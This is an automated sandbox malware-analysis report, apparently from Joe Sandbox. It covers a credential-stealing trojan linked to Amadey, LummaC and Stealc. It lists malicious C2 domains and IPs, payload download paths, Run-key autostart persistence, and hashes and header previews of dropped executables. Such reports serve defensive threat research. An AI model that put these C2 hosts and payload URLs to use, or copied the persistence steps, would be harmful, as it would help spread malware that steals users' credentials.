https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2806911409.000002BA57138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57CB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2663208610.000002BA57133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797233592.000002BA55A7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000018.00000003.2740167016.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61C14000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737097313.000002BA61CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA5964A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/U	firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2889827871.000034BEA5600000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/Z	firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.oZ	firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/complete/	firefox.exe, 00000018.00000002.2875505657.000002BA61C14000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz:443/api	ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	false		high
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 00000018.00000002.2874426589.000002BA61B84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2725783431.000002BA61B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2723839104.000002BA61B81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.avito.ru/	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.48.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571971
Start date and time:	2024-12-09 23:07:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@85/20@28/14
EGA Information:	Successful, ratio: 71.4%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.58.98, 192.229.221.95, 216.58.208.227, 23.218.210.69, 173.194.222.84, 172.217.17.46, 2.20.41.214, 4.245.163.56, 13.107.246.63, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, location.services.mozilla.com, wcpstatic.microsoft.com
Execution Graph export aborted for target 37df924488.exe, PID 7148 because there are no executed function
Execution Graph export aborted for target ae5cfd188c.exe, PID 3512 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:09:02	API Interceptor	971x Sleep call for process: skotes.exe modified
17:09:16	API Interceptor	81x Sleep call for process: ae5cfd188c.exe modified
22:07:57	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
22:09:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ae5cfd188c.exe C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe
22:09:26	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 37df924488.exe C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe
22:09:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2ada66c192.exe C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe
22:09:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9c2827fca4.exe C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe
22:09:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ae5cfd188c.exe C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe
22:09:59	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 37df924488.exe C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	sk0lV4Ccen.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
ipv4only.arpa	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	192.0.0.170
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.16.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	http://loopconstruct.com	Get hash	malicious	Unknown	Browse	34.118.89.236
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	https://bcnys.us11.list-manage.com/track/click?u=b3ce03a042f3f32fe41fe1faf&id=8c15544f56&e=24911589a5	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.139.78
	GLAMPITECT++LTD+(PROPOSAL).eml	Get hash	malicious	unknown	Browse	104.16.144.15
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.79.7
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9c2827fca4.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895424
Entropy (8bit):	7.948081310283833
Encrypted:	false
SSDEEP:	49152:4Dkjoj13w8WgZENdIWFHmIy2LRwIi2CUMozodAh:4DjI/UWFHg2LRv1CUHoY
MD5:	52F0F216DFBB86683B1E318A0796DD81
SHA1:	2E2B8710E0A077ED8A2124FDE2486F397857B8F6
SHA-256:	1D95373C2284B657B614F07051EED5FED72F34F787350409E49E8DC30A5EA494
SHA-512:	BF3BFF59A42E2D10238306FE34F072C14BD482CAC5C20563987A27174BF304A06CFC9C0B3914254F17695D80B006261B29EA025E2B31324CA3CAEEDF3DA211CB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Ug..............................J...........@...........................K...........@.................................\@..p....0.......................A...................................................................................... . . .......B..................@....rsrc........0.......R..............@....idata .....@.......V..............@... ..+..P.......X..............@...xyjapqsh.p...`0..l...Z..............@...fjnsenoe......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	971776
Entropy (8bit):	6.706374744993215
Encrypted:	false
SSDEEP:	24576:LqDEvCTbMWu7rQYlBQcBiT6rprG8aTwV:LTvC/MTQYxsWR7aT
MD5:	5DD5F67D25C20DFF1AC926ABDC8C2EB0
SHA1:	E166D8E6544D137AE62FE204C59E53C962342703
SHA-256:	9661D8306B9BF658642A01718AC746113E19741A560A48A5583BACD52998AF22
SHA-512:	DB420ECBD8CFB63766D84BCFED8CD61147F5E6F99FC3EF95548A99CB615893CE47E554E1E94A6FDBCEEDC529973DC716CDB54BEE071D4FAC4FFAFFD056C22897
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....\Wg.........."..........$......w.............@..........................0......<.....@...@.......@.....................d...\|....@...h.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....h...@...j..................@..@.reloc...u.......v...^..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2895872
Entropy (8bit):	6.4258400887207126
Encrypted:	false
SSDEEP:	49152:zB4Yi9Rp4WR0viJeLgv+WRLr97P9XZiSdHSy1IJ:z2YyRp4WCaAkGahPVZRIJ
MD5:	6CFAA4B02B026AA1631EDA2E570A1298
